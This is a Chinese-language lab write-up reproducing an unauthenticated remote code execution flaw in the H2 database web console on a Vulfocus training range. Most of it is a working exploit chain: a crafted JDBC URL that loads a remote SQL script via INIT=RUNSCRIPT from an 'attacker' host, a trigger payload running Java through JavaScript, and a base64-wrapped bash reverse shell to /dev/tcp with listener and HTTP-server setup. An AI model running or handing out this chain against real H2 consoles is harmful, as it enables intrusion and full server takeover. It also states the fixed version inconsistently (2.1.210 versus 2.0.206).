1、产品简介
H2是Thomas Mueller提供的一个开源的、纯java实现的关系数据库。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。
2、漏洞概述
H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。
3、影响范围
1.1.100 <=H2 Console <=2.0.204
4、复现环境
Vulfocus在线靶场环境
5、 漏洞复现
开启靶场环境,访问8082端口,可以看到H2db的控制台
利用点主要是JDBC URL
未授权POC如下:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
观察已公开的POC,在原有url后添加FORBID_CREATION=FALSE属性使得流程进入到thrownotfound时不再抛出异常,从而继续创建新的数据库,在末尾使用""转义流程中添加的;FORBID_CREATION=TRUE,使得该“;”不具备实际参数分割意义,使用IGNORE_UNKNOWN_SETTINGS=TRUE避免被转义后的;FORBID_CREATION作为属性名不在默认配置中导致的异常,最终完成了对数据库的未授权访问。
点击测试连接,可以看到Test successful;
连接进去看看,成功创建了数据库
6、漏洞利用
执行命令利用方式就是在上述POC的基础上,添加INIT属性INIT=RUNSCRIPT
FROM 'http://attacker/evil.sql';
使得Engine.openSession获取到会话后,进入command.executeUpdate执行我们设置的SQL语句进行查询。
构造Payload:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://attacker/evil.sql';\
#上面attacker处填写你恶意sql文件的服务器地址
网上公开的evil.sql文件内容如下:
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
var fos = Java.type("java.io.FileOutputStream");
var b = new fos ("/tmp/pwnedlolol");';
INSERT INTO TEST VALUES (1);
通过创建表后,对该表添加触发器,触发器中使用javascript调用java创建文件造成RCE。
在复现过程中发现在添加触发器的过程中,javascript代码就已经执行,且由于触发器添加过程最终会由于触发器强制转换过程失败,实际上这个触发器并未添加成功,也就是说实际的代码在触发器添加时就已经执行,而非insert时。
那么靶场环境怎么读取flag呢
于是网上查了查Java环境怎么反弹shell的文章,后来找到利用Runtime.getRuntime().exec 可以调用外部可执行程序或系统命令,并重定向外部程序的标准输入、标准输出和标准错误到缓冲池的特性来反弹shell。
构造EXP:
vi evil.sql
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
#根据上面公开POC发现添加触发器的过程中,javascript代码就已经执行,而非insert时,所以我们不需要添加insert语句
利用python3搭建http服务器
python3 -m http.server 80
VPS开启监听,填写payload,点击测试连接
可以看到请求恶意SQL文件了
成功拿到shell。
7、修复建议
升级到安全版本: H2 Console 2.0.206
版权归原作者 OidBoy_G 所有, 如有侵权,请联系我们删除。